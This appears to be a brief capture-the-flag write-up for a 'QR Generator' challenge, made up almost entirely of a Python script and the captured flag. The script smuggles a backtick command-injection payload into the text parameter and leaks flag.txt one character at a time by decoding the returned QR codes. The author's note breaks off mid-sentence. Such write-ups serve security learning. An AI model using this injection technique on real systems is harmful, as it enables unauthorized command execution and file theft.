QR Generator
Note: I knew it must be in the cat flag.txt because
import requests, os, re
flag = ''
def urlencode(text):
output = ''
for char in text:
output += '%' + hex(ord(char))[2:].upper()
return output
i = 1
while '}' not in flag:
try:
payload = f"` tail -c +{i} flag.txt `"
enc = urlencode(payload)
url = "http://challs.houseplant.riceteacatpanda.wtf:30004/qr?text=" + enc
os.system(f"wget {url} -O temp.png")
char = os.popen("zbarimg temp.png").read().split('\n')[0]
realchar = re.findall("QR-Code:(.*)", char)[0]
flag += realchar
except:
print(flag)
quit()
finally:
i += 1
print("FLAG ACQUIRED!")
print(flag)rtcp{fl4gz_1n_qr_c0d3s???_b1c3fea}
Last updated
Was this helpful?